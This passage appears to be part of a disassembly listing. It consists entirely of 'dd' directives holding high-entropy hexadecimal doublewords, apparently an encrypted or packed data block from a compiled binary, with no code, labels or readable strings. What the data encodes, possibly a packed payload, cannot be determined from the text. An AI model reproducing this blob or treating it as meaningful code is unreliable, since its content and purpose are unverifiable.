		dd 7DE0E78Dh, 54ED9E11h, 45E80AF7h, 0A116F8FCh,	0F38461EAh
		dd 65E7FFADh, 0FECE8775h, 9BF7D788h, 1B2DF506h,	0C5412D63h
		dd 0F7ADF8FCh, 0E44655A2h, 0E5F7DAB3h, 2D956179h, 412B6DCCh
		dd 0C96DB44Fh, 30246BF7h, 0D7FC6D30h, 616F4037h, 0BD90B3ADh
		dd 0ADED4487h, 0C458F7B2h, 6D6DC046h, 779AD74h,	61BF38F0h
		dd 0EE46C403h, 69E7A86Dh, 6D659F6Dh, 65A8812Dh,	0CB6DB561h
		dd 2A3033A2h, 3116ADA0h, 0CC46448Fh, 0F3F7EC47h, 809BB0B7h
		dd 34BDA04Eh, 7958ED04h, 7588F313h, 0F7AB3488h,	6E72612Eh
		dd 5DD7A26Dh, 0EDCC04F3h, 400E9294h, 14B7C9C5h,	46C689B2h
		dd 619A77DAh, 89C965AFh, 6B7FD440h, 0C3FD877Dh,	7162E78Ah
		dd 9D6D6032h, 3C4966BCh, 0F726FC8Ah, 0E806512Dh, 43B2F9BAh
		dd 0B817FDE8h, 88707D94h, 0B86D687Dh, 858820F7h, 0B85339D1h
		dd 0F78765A0h, 0ED614CADh, 0B0064F41h, 24BFD7D7h, 2CE3EDFDh
		dd 0F596CA1h, 0A839EDB3h, 0F6064563h, 0E7B2676Dh, 6DBE502Ch
		dd 0E78F6838h, 0D180DD06h, 7060D5E7h, 0A20C6D66h, 0C986C403h
		dd 0F2E7A4B8h, 20C08606h, 716DC7C6h, 0D380DBC5h, 4A7FDD7h
		dd 8E9158EDh, 0A61D5D66h, 0FCC7CAF6h, 3C707D0h,	5D25D7E5h
		dd 0D3ADC4C7h, 0A2F48742h, 0A1D02DB9h, 81A275EBh, 2EA12C2Dh
		dd 6DA0F741h, 5437D7F0h, 846DACF7h, 415920E7h, 0C7ECFAB7h
		dd 0CA451694h, 6582FEFCh, 2DB96F7Dh, 79EDD771h,	0D6DAE76h
		dd 0C7900861h, 3CA06DD0h, 0C14771AFh, 56207477h, 0C281F827h
		dd 65AF3074h, 0F6DC084h, 73592761h, 61A58192h, 7579F4C4h
		dd 2CE726ADh, 0EDEEC471h, 2794A28Bh, 0AFB8C984h, 0C765A881h
		dd 0F727ADD8h, 0CAC7B00Ah, 286ED3ADh, 3758FC75h, 30324098h
		dd 402D854Fh, 0CF412E60h, 91BBF985h, 39FD285Dh,	6659152Dh
		dd 0B0C60679h, 1744E7C0h, 27B8C9C6h, 46E4B7D7h,	0F7D647C1h
		dd 0F8C795BBh, 3626AEDh, 0B7C986F4h, 1033E7D1h,	0D11AE2C5h
		dd 45C74FF7h, 0E7D880C4h, 71DA0348h, 0E26D8F2Dh, 2D7A7061h
		dd 516672D3h, 0D7B9B2BAh, 0BC0075F7h, 0C04E2DB1h, 853DF43Ah
		dd 0A2B52132h, 2DCD8665h, 7CC4D71Ah, 0E82DB5A0h, 0C5FC34A1h
		dd 0B8E1ADD5h, 0D18441A2h, 0B6D711C4h, 2D69E044h, 3833A1F7h
		dd 0DCB4FCC5h, 0EEF90ED7h, 8172BCB1h, 0C6A08855h, 5F42948Ch
		dd 2D1A809Fh, 81510E1h,	5D6DE005h, 44C8754Ch, 0D79F39D1h
		dd 89514DA9h, 3CC7D4B7h, 0ADCDC6C4h, 74B4D7D4h,	0DFEDAA80h
		dd 467D67F7h, 0E7DFFFF1h, 0D8445924h, 0F5A1B5F4h, 0ADA063E4h
		dd 0BF2E7CFh, 21C46DD3h, 102F48E7h, 0ACFB2D6Dh,	511F75EFh
		dd 75C7D7F4h, 3CC906C8h, 45A9A1E8h, 206DD144h, 47C4B6A3h
		dd 0C75F2DCDh, 0BC176123h, 0E421D4B4h, 0F22BFD69h, 37597BD4h
		dd 0C624E046h, 424DE9E7h, 0E7C874BBh, 0F707F4F5h, 5683F0ADh
		dd 36B0D990h, 86DFE7CEh, 5F6D6AE1h, 0F373C6A3h,	0AAC7AD89h
		dd 52E14523h, 0FA835FADh, 0F34CEC94h, 0DFFCE7FAh, 656DE4C7h
		dd 0CA6D5C7h, 0A18A6D9Dh, 807D59EEh, 0A6226187h, 0ED19997Dh
		dd 0B03D59BAh, 0AEAD29EFh, 0E165A438h, 24282DA5h, 0A6F865ABh
		dd 11047447h, 9A72AF2Fh, 0A110D7F8h, 0BE47B736h, 384FCD04h
		dd 243AED76h, 0BD4C55AFh, 75E7D5B4h, 6DFAC774h,	44B88CBAh
		dd 0A162F807h, 7E4F5E7h, 2C4CADF7h, 0B90D69E9h,	6A2ACD6Dh
		dd 0F1720E41h, 69E96019h, 3E8484C9h, 6656651h, 0E793F4EFh
		dd 98E38744h, 0D8D7CE74h, 0EDBD8074h, 716EA1F3h, 9F0C61A2h
		dd 4C55678Eh, 0C7CCAD8Dh, 0CDC547FAh, 23F7D02Dh, 6D219165h
		dd 4438D781h, 7C6DFD44h, 485D2E3Bh, 0E77AAD11h,	0C3C75563h
		dd 9DF74F9Eh, 9EEA44C9h, 0E7F5D7CAh, 0D3C4ED05h, 882332F7h
		dd 245E6D49h, 0E4C6692Dh, 22F705FEh, 0B1E34755h, 0D4B6E7ACh
		dd 0D1F1D947h, 550C8E7h, 0F778C3C0h, 992175A4h,	47D7FF6Dh
		dd 2D1322A8h, 0E436F7FEh, 1FEDA9EDh, 0AA61A4C7h, 51F63E47h
		dd 0CB86DEFAh, 6AE7E10Eh, 36B6C083h, 452EA3B7h,	67F186E0h
		dd 5300E991h, 0A1426D45h, 0BF8075AFh, 42B1F3EDh, 6D8582FCh
		dd 692D258Fh, 0A90FD384h, 0E169AFEEh, 8DE7AD75h, 0B54C5526h
		dd 19D7CCF4h, 26B068F3h, 75EF2992h, 0BF2DCD6Ah,	0B4DD1BC7h
		dd 159AB94Ah, 0D5F8C0h,	0EFA3B7B6h, 0ED77806Dh,	5C57C22Eh
		dd 0ECB4F0A0h, 77CC8231h, 732E8CC6h, 0DEE3E757h, 3D797B8Fh
		dd 0F46FECD4h, 652AF785h, 0FFF18661h, 2A8F7D7h,	0B1AAAD0Eh
		dd 0CB07DFBAh, 70AD8F3Eh, 3ED407F4h, 70BDB533h,	8C84AD62h
		dd 0E07871B1h, 9530A4EAh, 0FB60F930h, 30B538A4h, 3352F2E1h
		dd 9F488C9Dh, 126D9E2Eh, 0B6FD30BFh, 0F79FC38Eh, 0D70641EFh
		dd 0A4C466C4h, 61CE772Bh, 0A96FC409h, 7D21EEF6h, 778F75A9h
		dd 0B422E0F2h, 0FCA0E171h, 0F3D44FB4h, 61CF46E5h, 4D28A5F8h
		dd 0F990C677h, 0CD9D6F82h, 0F7860FABh, 0E18765A1h, 0A1719DF4h
		dd 0BBE2C765h, 61E5B3F0h, 3D618F5Ch, 778F42BFh,	0F705B4C6h
		dd 0A5A15921h, 5C44F3Ch, 2DD1C450h, 0DC03D732h,	0FCADE584h
		dd 0C5516DF7h, 0D7E53CFAh, 0E7C64160h, 3BE7E72Dh, 59C6B748h
		dd 85EE8533h, 15A4FE07h, 0A0D456F4h, 953320EAh,	0ECB199B4h
		dd 70B5B1A4h, 0A4CC60E1h, 0D972B5FDh, 33CBCAA0h, 0FCB506A5h
		dd 52F0A3E9h, 0C9BCD970h, 0C2A5332Dh, 0B4FE06A5h, 7DAAD79Fh
		dd 7436BA3h, 40AD72E7h
		dd 0D7B02DA6h, 0C346556Dh, 0EFF7E977h, 0ADFAC455h, 7DE5E735h
		dd 58EDD684h, 0C67D66D7h, 0F707ADF2h, 0F104716Ah, 20E7FFEDh
		dd 0ED70226Dh, 45ECE7DCh, 0D7281A1h, 4B71CF7h, 0E7FFADD9h
		dd 0A1817961h, 0EBE7A0F4h, 0AD353B69h, 0E8A31C4Bh, 0DF428BEFh
		dd 847CC8E7h, 0C7F76DC6h, 91AA341Ch, 74E7412Dh,	2DE2C7C8h
		dd 5521F786h, 8C2DCD46h, 964DAAF7h, 0E7FFED98h,	0CC46085Bh
		dd 0E860F4EDh, 2D95DA75h, 65E86EB5h, 0DFEDA1C1h, 451ED32h
		dd 0D7E52DF1h, 0E9043024h, 63E770EDh, 0ADCE0559h, 141FD7F5h
		dd 7002F946h, 847CB5D7h, 0D710F4E5h, 0EF04D836h, 631C9E2Dh
		dd 0EDA5705Dh, 4120C732h, 0F552F0C6h, 0C46563C7h, 0E7D5F4E2h
		dd 0B0D5D0F5h, 35C7E7EDh, 0AD8DC078h, 87D9F7EEh, 332DEB46h
		dd 85769DC7h, 0F7E284F1h, 0FA074F70h, 0E4E7B89Ch, 0B6C6444Dh
		dd 0D734F701h, 66ED65E0h, 0C4E40393h, 0F7CB43F6h, 0E00441E9h
		dd 0EED7DFF4h, 0B4C50441h, 552BE785h, 313CFAC6h, 0C0F0A0C7h
		dd 0E7EF6DA0h, 0E3E0CB48h, 63AF8FF4h, 8CFCC555h, 5E30D73Ch
		dd 5F2D822Eh, 6767EA3h,	0E7DFC7D2h, 0E1E27D21h,	0F8E7D66Dh
		dd 2DBD23D1h, 7DE6BFB3h, 956DE0E2h, 568F8E7h, 0F7AB2DFEh
		dd 68BB5124h, 0C7C70934h, 2DC584D3h, 792A6120h,	202D95ADh
		dd 0AD792B61h, 0E7B47788h, 0CD84656Ch, 8DD7DFADh, 0ADB663ECh
		dd 680CC731h, 0A82DDAC5h, 0E017DBF7h, 0B366ED59h, 5EFA5DEFh
		dd 39F715EDh, 4F585C8h,	69E0B1E8h, 0E7ADCD84h, 6879ACE7h
		dd 0E7D1B659h, 0F1C5F710h, 9F7DFCFh, 0CCE1C6C4h, 781D7CFh
		dd 7493E807h, 0E9752BA2h, 33302D55h, 0E40765ECh, 646DBDFEh
		dd 0BB938265h, 796B6D84h, 0BDED41A8h, 0AFC4E55Dh, 0D4F7B74Eh
		dd 0C9465F50h, 20F7ABFFh, 0ADD04775h, 0AB52C7AFh, 0A7ADD1C6h
		dd 1D4404F7h, 4337BA3Ch, 4F2959AEh, 6B7FD0BFh, 0FC44745h
		dd 0D4CDC7D6h, 0B4EDDEC6h, 0C559AFE7h, 0E7896DE8h, 0F4EE4007h
		dd 93CBF27h, 17B0CF77h,	6709B0B7h, 0EB27F646h, 467709B0h
		dd 0F7D6E0F6h, 954A4D2Dh, 68C719EDh, 6D1D2F24h,	0C48DD771h
		dd 0E247C747h, 0C4D3C3F7h, 70970FDBh, 0E085FC09h, 6AE7FF57h
		dd 2E78769h, 0E7C3F7A1h, 8417DB05h, 0EF4D2B6Dh,	0AE782D75h
		dd 610E5C8Ch, 50E7DD4Fh, 0F9B6FCDh, 77D2C7DDh, 0DF2D95E8h
		dd 66D61E7h, 152186EFh,	0E9EBF5C8h, 69513D66h, 4F61D461h
		dd 0D58ED7DCh, 0DC6DD3C7h, 0EF78560Fh, 654D6DB9h, 0F347612Dh
		dd 2CE7B281h, 2DADAD79h, 752DC726h, 207FEA46h, 0AD792861h
		dd 61202DB1h, 0ADEF6D68h, 0A9D77C2Dh, 0F749D375h, 8041D787h
		dd 6E319455h, 465ADFEh,	53697CCEh, 0B9EF7965h, 0F1C7712Dh
		dd 2D99F6C4h, 712D33A9h, 8CC1C907h, 0EF71AFF7h,	0EEF6B1BFh
		dd 7F3584A0h, 0E0E78CB1h, 77C14771h, 9A06C7EEh,	0EB748D61h
		dd 0C559E0ECh, 0D7B46DF9h, 8E0C7D65h, 0C6C7F1C9h, 0B7D3C540h
		dd 4920F7EBh, 3AF7E6C5h, 0B0440DD7h, 0D7E0BF6Eh, 0B1CFBF6Ch
		dd 2E21B92Dh, 0B65DA249h, 5D6AE707h, 0D2076B97h, 5CAC8D7h
		dd 613D2DDEh, 754E612Bh, 2563692Dh, 2DB1EF6Dh, 79E86D84h
		dd 2C6DE92Fh, 44440DD7h, 6D7373FCh, 0EE4645E8h,	0F3E7BCADh
		dd 0ADCD857Ah, 86EA6172h, 2519D205h, 0FB7D2C71h, 0C7D3117Ch
		dd 0C4C4F7CFh, 0B4E7C787h, 7FA37533h, 0F7CFC7C7h, 0FAF4CA84h
		dd 0AD79A2D7h, 73696D85h, 0B5EF6D25h, 0FF63D66Dh, 6D85CFBCh
		dd 416421B9h, 0BA8E928Ch, 0C749A1C7h, 0F7EFEDF8h, 89ED59EDh
		dd 2ECEF6F8h, 0BFFC4545h, 0B067F23Fh, 0A76DEDC4h, 876484C7h
		dd 0E7DF6DC0h, 59CF59A2h, 37E7A0ADh, 0AD107427h, 2663D7C7h
		dd 0A791D684h, 47A6A861h, 0A4533FE9h, 0F185303Bh, 0C683E42Dh
		dd 0F2928E44h, 9339940Fh, 4F2DB112h, 378945B4h,	0C02C6048h
		dd 0B92E04A7h, 24413D6Dh, 2D8EDB61h, 37A26185h,	0F4AD91CEh
		dd 0C694FAE7h, 0E79D2DCCh, 90638882h, 7F948A60h, 60CFF291h
		dd 0BDBBB492h, 79979D8Eh, 8EC3C649h, 43696049h,	222961E5h
		dd 0D41EB020h, 6D2D53D3h, 0DA497123h, 2D8AD278h, 0AE69E72Dh
		dd 0D7E32D0Eh, 0F3468AE2h, 0BDA5FA6Dh, 0ADE8C7C9h, 5520D7D8h
		dd 0F5ADBBE3h, 0C741A3E7h, 1C84EDE8h, 64C35960h, 0EDA162EDh
		dd 2DE7BE49h, 608F7E1h,	2AEDE585h, 7B61E0B3h, 0D7862DACh
		dd 0DCC575E2h, 9FC766EDh, 6DEC0684h, 5DA260CDh,	646DEEC5h
		dd 0C66166D7h, 0F7E7ADD1h, 0B1F9416Dh, 69E7DF0Fh, 0BEEF465Dh
		dd 0D4F6D724h, 0AADF406h, 84784030h, 0E0762DDAh, 0DAC7716Ah
		dd 0A7D7FA2Dh, 0B1B5EF6Dh, 41E25144h, 0E777A2A1h, 79CFCFC7h
		dd 0C768B12Bh, 0EEC79055h, 80F7E0ADh, 35DA84FCh, 696DF7E0h
		dd 29B1EBC4h, 8EB95D51h, 932B2DA2h, 0A701184Bh,	0E4E7BAF2h
		dd 0EDC2C769h, 4160A1BAh, 5BED698Ch, 3C5481h, 0E7FFED57h
		dd 3B184166h, 241485EDh, 82599061h, 3854C727h, 232DFD06h
		dd 45F0F3D7h, 0D70A2DDBh, 0FC04592Ah, 0E5C7A4ADh, 2D8E5E65h
		dd 49A0C726h, 67B4E9C7h, 0C534D030h, 0C7286DECh, 0F8841809h
		dd 25E755ADh, 0ADA1AF41h, 59A5E7ECh, 0D3ADE506h, 0C6AC9871h
		dd 0E70734F5h, 0AC9A6D21h, 0E171D3ADh, 0ADD0C545h, 6163C767h
		dd 0DFADF4C5h, 436563E7h, 125374A9h, 0C10455EDh, 0B4D7E2EDh
		dd 6DDDC5F8h, 0AF9ED725h, 186DE484h, 46596520h,	0D7B8FFC9h
		dd 85A47DE1h, 0F7D7D8F4h, 3E817A50h, 5161E74Ah,	0DBB8C484h
		dd 6C735C7h, 0F77FFCF6h, 0CD847D27h, 0E3F7602Dh, 0ED9E6065h
		dd 0FCB3E754h, 7CEDE004h, 4465EDD7h, 0B1AF2DDBh, 0C586D4B4h
		dd 359185ADh, 368E344h,	45A5F71Fh, 65F4EC07h, 45B4CBC7h
		dd 0E7DF0AEAh, 93E18C8Ah, 65A1732Dh, 0ADD1C561h, 752AD767h
		dd 74BCFE04h, 2165A0F7h, 0ADB3ADBCh, 0E5C678FCh, 78D7D3EDh
		dd 0EDA1BA78h, 0E8881433h, 7B5F3C6h, 444DEAE7h,	0E77874CEh
		dd 8DA165E4h, 6D9321EDh, 0EDD6C67Dh, 4D6BE71Ah,	5BCFBC4h
		dd 854DA281h, 0E7746DEEh, 0E1C751A5h, 2AD7CBEDh, 2DCD0565h
		dd 7F33D7A5h, 34ADE2C6h, 5483001h, 0C7792DDDh, 5D8375ABh
		dd 0BCA321EDh, 6DF50667h, 616BA1E0h, 77B4DFC4h,	0C6692081h
		dd 53EA0BD3h, 0CD06796Dh, 1DD78D2Dh, 0EDDE0473h, 7DA29341h
		dd 0DF3C0683h, 846521E7h, 0E7F1F4D5h, 0E247496Bh, 0FB91E9ADh
		dd 2D99356Ch, 7D6441E4h, 5F4D584h, 8565A9E7h, 0D0F1B6E1h
		dd 0EA4645A9h, 75C7D6ADh, 46C02E8h, 3C5812FFh, 0CB2DCDC6h
		dd 6375A4D7h, 0D777AD51h, 0F78479E0h, 68994364h, 6DFB4645h
		dd 61A24FA8h, 7A6DEE45h, 8041A5E7h, 0E72631B2h,	0D9044D6Bh
		dd 80BF1F2Dh, 0ADE6C6FCh, 55A9D705h, 0A8AD98A0h, 86456653h
		dd 0D75DADD7h, 0FAE2F43Ch, 60107CF4h, 74BA4D5Dh, 496BD734h
		dd 83E7D846h, 0C4516BA5h, 0C72D97EAh, 9640407Fh, 62AF4E77h
		dd 19DD8469h, 0CF7EE7A2h, 9587D545h, 2C7928B1h,	6B4497DAh
		dd 0D246412Bh, 0AD754EDh, 74E7C444h, 69A2F797h,	15B4E9C5h
		dd 0C5D4FDE7h, 0F795EDCEh, 0E70645E9h, 4A186EDh, 0EDF30664h
		dd 69A5AF1Fh, 1F2DD305h, 0C74965C7h, 0D72F7FCEh, 0E4C575A2h
		dd 0C2E75A2Dh, 328C8C8Ch, 0D800A3BFh, 8E2DCDC6h, 0C748C7E7h
		dd 0A3CEADE2h, 0FAC741EEh, 20C715B3h, 0F4B30079h, 55E5612Eh
		dd 0D2AD8C61h, 0C6F875C7h, 0E7F7EDE3h, 0A3815DE5h, 0EA73182Dh
		dd 0EDF14645h, 79A2A532h, 72F4C9C5h, 3788EF7h, 712EF688h
		dd 0DCC6596Bh, 0EDB352FEh, 6DDD4655h, 65E5A038h, 0DCF4AAB8h
		dd 464568A3h, 0E7762DF1h
		dd 0E1C4E4F6h, 0A1C769F7h, 0F445CD45h, 516DF730h, 0DF2DC104h
		dd 84752CD7h, 60F1F4D5h, 0FC84656Ah, 28E7DFFFh,	6DA68145h
		dd 55EAE7BCh, 0C72D918Bh, 85F4844Dh, 0C7F7B1F1h, 0ACA3696Ah
		dd 6BE7DF76h, 2DF60759h, 6129531Dh, 482D8D0Dh, 6D4FB13h
		dd 5071ADC3h, 0CDC6DC34h, 0A8F7892Dh, 2D9D8B49h, 98EFD71Ah
		dd 0ABF9FF46h, 0C6BCD2C7h, 0C7F76DE0h, 0BFA369AAh, 32F768F4h
		dd 6DA06C7Ch, 0E80EE713h, 0F22DCD84h, 0AB7452F7h, 0C7FF0EB8h
		dd 0A1A1DCFEh, 33D72CF7h, 2D8E8D7Ch, 4858F724h,	0DC2DFBC7h
		dd 7512DB1h, 0F71F06FBh, 9026DCD4h, 6BE7DBADh, 0BEDC4555h
		dd 4DA263CBh, 5F1B869h,	0BED058C7h, 239A2D81h, 0B9A065A2h
		dd 6239A2Dh, 0F9B7CAECh, 65A0034Eh, 0FDADCD84h,	46441AF7h
		dd 0D710ADF6h, 0FDC6745Ch, 0E92181EDh, 0EDCE4645h, 0D875C793h
		dd 0C1C6D707h, 94C81B91h, 0F09676B8h, 0F006C41Ch, 9A72CDF7h
		dd 6DA84B5Ch, 75E9E7BAh, 33ADBDEDh, 0C71CABF2h,	2350EDCEh
		dd 0E5868427h, 28F0C3EDh, 2D8C8059h, 9B1BC788h,	0D836FC06h
		dd 594ECF7h, 0E7D90EF3h, 0C68541A2h, 2CE0F334h,	4FD3C451h
		dd 0B4B220BAh, 0FD3EF306h, 80592D21h, 0E7DB36BCh, 0C98561A2h
		dd 0EEF77A41h, 0AD89AAAAh, 552E0350h, 5D3ED884h, 849060A3h
		dd 0B1E9ADFDh, 0FA05C892h, 0E3634B2Dh, 0ADE94445h, 6D6BECABh
		dd 482DD245h, 8541A279h, 0F7DFB5F3h, 9E567D26h,	4EC714EDh
		dd 0F7E1C46Ch, 6520D704h, 0DBF7A800h, 57D6BD7h,	0EE1972EFh
		dd 0DF067D6Ah, 0F5C7AC19h, 0E0E38528h, 6563E7E3h, 0FA0ED805h
		dd 0F7DA0D7h, 0E08BED22h, 4D3755EAh, 2AD7FFADh,	0EDA74145h
		dd 49E961A3h, 122DCD84h, 0F7B42DD7h, 53386D60h,	7DB7552Ah
		dd 0E501112Dh, 81B3507Dh, 1860D70Dh, 3D2DA5B9h,	9449EDC2h
		dd 6005EDA4h, 0FC079432h, 0DCF2CE70h, 6DB8ABF8h, 0BCDD9115h
		dd 9036F606h, 75143AE7h, 0C08176BAh, 8F935DEBh,	0A2C725ADh
		dd 6DE94686h, 1072C750h, 0F12D8657h, 45CF9CF2h,	0A40F78F3h
		dd 0D044596Bh, 5D911D78h, 86F2C4C8h, 0A848B113h, 0E1ADCFC6h
		dd 0B444D2F7h, 0EE25ADB3h, 90F14125h, 7FD761ADh, 0ADE74685h
		dd 756BB288h, 7B8C344h,	947DE8E7h, 0E7D876ACh, 0FB86516Bh
		dd 6B2193B8h, 0ADABAA69h, 0FCB4827Ch, 0E4AD8F8Ah, 0C57963C7h
		dd 0E7D502C8h, 52B32012h, 0B3C79CADh, 0BCA0AD0Ch, 40DEB321h
		dd 0E4EDC146h, 645A07Ch, 0C70281F3h, 0C0BD1030h, 0E14EAEE3h
		dd 0C3DE3D69h, 5DEAC79Fh, 0ECADB693h, 0A516762h, 7137ADB2h
		dd 0CD055D6Dh, 20C7AC2Dh, 3C485255h, 79A1518Eh,	87F3C1C5h
		dd 8449A5C7h, 132AF0FEh, 0CD057D2Ah, 0C4D7CD2Dh, 73F28464h
		dd 49EFC7DFh, 5239C2C4h, 0C569A420h, 0B25E2DE6h, 0F9C4752Dh
		dd 0E5F787F0h, 4F88449h, 412021BFh, 0AE3C87C1h,	4755AD70h
		dd 0F23A78FBh, 8D2165E0h, 1AF7EDADh, 0ED5C3854h, 7784E798h
		dd 0AA3C88E9h, 47C49AF7h, 62D12DD8h, 0F3C57563h, 24A1E13Eh
		dd 36908169h, 0A0A2E7CCh, 0ABADB3BEh, 0A1A60B10h, 749AEDBDh
		dd 0E2FE94C8h, 0B66290EDh, 0BABD9C4h, 0C431A31Dh, 25EDCC46h
		dd 55143B02h, 0D7B8EDA4h, 0E1444D26h, 8FC7F3ADh, 6DC9C4B0h
		dd 792F2181h, 0BB2D8DF4h, 726852F7h, 0E7D976B4h, 0DC4410D0h
		dd 0EAEE31BEh, 0B2AEAB75h, 0B8951264h, 5D0B6BF9h, 4655A4B1h
		dd 51EE3CF6h, 0A7AA8CCEh, 0AAD7B8EDh, 6DDFFE55h, 0D475C758h
		dd 0E78EC3C6h, 2A7074E7h, 74992D9Dh, 0D9C7B14Ah, 367C162Dh
		dd 5A8421D0h, 0B31E28E1h, 0C7D2561Bh, 19496AD7h, 0E7A02268h
		dd 84826928h, 0DF24C330h, 62D53EB1h, 0B9D924CBh, 96ED6461h
		dd 0C470BB24h, 0D72E33FAh, 0CE7AA958h, 0ED21BF22h, 0FED1C54Dh
		dd 0F4751DB9h, 960BEA06h, 0EB5921D7h, 61A3F76Ah, 0BCB56DAAh
		dd 0A5E7DF84h, 0FC5DB35Dh, 41EDE788h, 98BCCB06h, 974D29C7h
		dd 0F7B52DACh, 0EA8550C6h, 0AA2DD52Dh, 2D03CA71h, 7719C7D1h
		dd 7ADDF04h, 4745A6F7h,	0DC7EBCE1h, 0F30659E0h,	0E5E70B2Dh
		dd 0F7CA0765h, 0CF73A14Fh, 0FEAD4D20h, 0CDD0D1E0h, 0F751F3AAh
		dd 0D4C597E0h, 0EDA127CEh, 0C2FF0671h, 4D6BAF08h, 443CE3C4h
		dd 5416AA0h, 7114ADF8h,	866349EBh, 4A00FB1h, 7ED3C454h
		dd 0C044C72Fh, 9B6DACB3h, 60756891h, 0E764AD98h, 0D5C57168h
		dd 3ED7A6EDh, 0EDE886C4h, 4845E7EEh, 0AA2DFD84h, 0CD4567E7h
		dd 0D7212D8Eh, 78008F7Fh, 68B398EDh, 0EDC1C571h, 0B83843E7h
		dd 0AE6D9DE0h, 0E14162C7h, 0D7A02D8Dh, 8AE16D63h, 22F707BEh
		dd 6DE6C545h, 0E8FEE73Ch, 0E6ADEAC7h, 44F0B6C7h, 0D786B7C4h
		dd 96F55120h, 0A5D7142Dh, 7CDB4455h, 6564D7DFh,	46DA8C3h
		dd 0C571ADE7h, 81B2F4E6h, 52BB5D28h, 0C3E7C36Dh, 2DDE4644h
		dd 0A44D717h, 0CA6D627Dh, 8547C3E7h, 91057BCEh,	0A6E370B6h
		dd 0FD61682Dh, 2DD2C748h, 5967E7DFh, 0B674B6ABh, 8E71AAE7h
		dd 0F7FC30BAh, 0EFC5516Dh, 178174BEh, 0A6E8E870h, 6DAAE7DFh
		dd 30A6BC36h, 0C47C44C7h, 21EAEDF5h, 0E3444780h, 0ADC7863Ch
		dd 6D794C49h, 5D2D73B9h, 0DF87FA07h, 55DEAF7h, 0D7567FF6h
		dd 0C9464120h, 0F5D71E6Dh, 6DFD07C4h, 5486E73Bh, 0E5F4C6C4h
		dd 7F431E7h, 73EABFC5h,	8160796Ah, 2B21872Dh, 2D86A25Dh
		dd 444183A8h, 4AEDD944h, 0C57D6383h, 0C7F1ADCFh, 0F3C678BDh
		dd 0E4E714C6h, 2D6A8365h, 68FD211Eh, 1A2DEBC7h,	0C67D66D7h
		dd 0C7A6ADD1h, 0A402A0C7h, 1683C52Dh, 0EDF504F0h, 4415839Ah
		dd 606DE446h, 47716B33h, 60BB7FC2h, 0F0844965h,	7DC7787Fh
		dd 2D897540h, 55ADC707h, 613CEB04h, 0F0C8DEA3h,	123CFCB1h
		dd 0A9E1F0F7h, 75F7412Dh, 0EDE705D0h, 45A2A365h, 546DE444h
		dd 22D300D7h, 0A13D2D85h, 86A051AEh, 72A3C3ADh,	40D5C4E4h
		dd 6929E7D6h, 8DADB2E1h, 0C365A31Bh, 0D7ADAD8Fh, 3F4B6160h
		dd 213D3CEDh, 6DA0AB79h, 0E0303D0Dh, 0DE47BF35h, 0C747D2D7h
		dd 5C22ADF1h, 0E6EBE952h, 0EFF7B8F4h, 0BE76146Dh, 59EBC7D3h
		dd 82B687E1h, 6FF40771h, 0E7FA73D6h, 0ACE161A7h, 0ECF79FB4h
		dd 47BFBE80h, 8481D7E8h, 956DEE45h, 0C66563F7h,	9125F1D0h
		dd 0FDC471E5h, 2521CEEDh, 6DE8C641h, 516DC7EAh,	546DBAA0h
		dd 683ADB3h, 0F77086F9h, 0C2475D6Bh, 0E7812E7Fh, 0EDCDC490h
		dd 65A5E786h, 85EDA1B3h, 0C5656DD7h, 40036DE5h,	0EF87B864h
		dd 18C78881h, 87CE07CBh, 45EAD725h, 57ADF646h, 7500BCD7h
		dd 0F707EDAAh, 648A5DADh, 6B6049EDh, 0B9D6C549h, 88E7416Ah
		dd 82AD4C14h, 4936791h,	0C7C7B2C0h, 0E884E302h,	43D7C96Dh
		dd 0B9D68443h, 716260D8h, 3C2D4BACh, 54306D0Dh,	0D7E36177h
		dd 975458B6h, 0A3FC44EDh, 0B9CA8427h, 876FC761h, 3CADE046h
		dd 7584210Dh, 0A070EDFDh, 0FD07596Bh, 0F0F8B67Ch, 0B8B3942Bh
		dd 49EDF7E8h, 2BED89B0h, 561ADF8h, 0F4ADC3E1h, 0C135AD67h
		dd 26E7916Dh, 6DDB049Bh, 7D20514Dh, 0B2ADA539h,	4555E9C7h
		dd 0F7EC37DCh, 9A0D7522h, 0F5C73C2Dh, 0ADF684E0h, 4520F707h
		dd 0F9FFD9C5h, 8555ADC0h, 0F7587CE4h, 0E104492Dh, 6DB39AEDh
		dd 0B0C60479h, 7965E738h, 0F334AE70h, 0C67CF5C7h, 0E7A5B4C1h
		dd 0D885696Bh, 925355EDh, 0B890295Ch, 41A2E765h, 8D34C8C5h
		dd 0E159AA40h, 0E7652D8Eh, 5230B0F1h, 0EAA13CBEh, 0ADA40261h
		dd 534CC7B4h, 0D77AB6Dh, 23E44F55h, 0C75C6D9Dh,	0A80D7522h
		dd 558E766Dh, 2D9A28F3h, 0C4B5F728h, 7FCED45h, 615D20D7h
		dd 0A0D9ADA2h, 0D6047568h
		dd 0A56041EDh, 7F83F775h, 7DE5B103h, 7EDC304h, 0C769E6D7h
		dd 0E7F7ADDBh, 0F30459E5h, 2EF7DFEDh, 0ADB60271h, 4920F786h
		dd 0DFB08DB3h, 4F7DE5E7h, 0D71F38B6h, 0E6C769E5h, 66D7E42Dh
		dd 0EDE98459h, 4929F7B8h, 2BB0CEC7h, 4B433C7h, 812EADD2h
		dd 0CD85DC37h, 0BAF79E2Dh, 0ED8CDF5Ch, 7DED9250h, 0D9F3EFC6h
		dd 0AE79A2F7h, 0D7DF8094h, 0D90555A0h, 0A24DB790h, 78EF8530h
		dd 48B8E7DCh, 17EDEB46h, 0B26566ACh, 0E71FED63h, 92F065A6h
		dd 388C8306h, 2D8D9394h, 69A1E7FBh, 0E3B7A38Fh,	4641ED52h
		dd 0E7A3B6E6h, 0D087656Bh, 6D54363Ch, 0F3CD0459h, 0F8D1D71Eh
		dd 0DC9E1C5h, 458BBE75h, 0F7E477DDh, 0E70645E9h, 0EBE795EDh
		dd 0F4F9C56Dh, 0C84EF7F8h, 0B12DED45h, 0C4E46BE7h, 0F7E603C6h
		dd 0A5CCBCE4h, 0A210E7B0h, 30BBE85Dh, 6DE66171h, 647CDAC5h
		dd 0C47D6DF7h, 0E774B0C6h, 0D6464565h, 8CA18AEDh, 2DCE46EFh
		dd 5DA95301h, 584ED84h,	0C5552BE7h, 0C729FFDEh,	962AC492h
		dd 30D713EDh, 0ED911888h, 696F2384h, 74EDAEF8h,	65DEDF7h
		dd 0E77987D0h, 0EE46492Bh, 2A217FEDh, 0EDB57D41h, 2808917Ah
		dd 0E22D9160h, 0CB7166A3h, 0E7BAED9Ch, 0F50475AAh, 0A2A35CEDh
		dd 2DF3F951h, 0A8976C12h, 0FF2D9DB0h, 0C5696BE7h, 0E7C4C4E6h
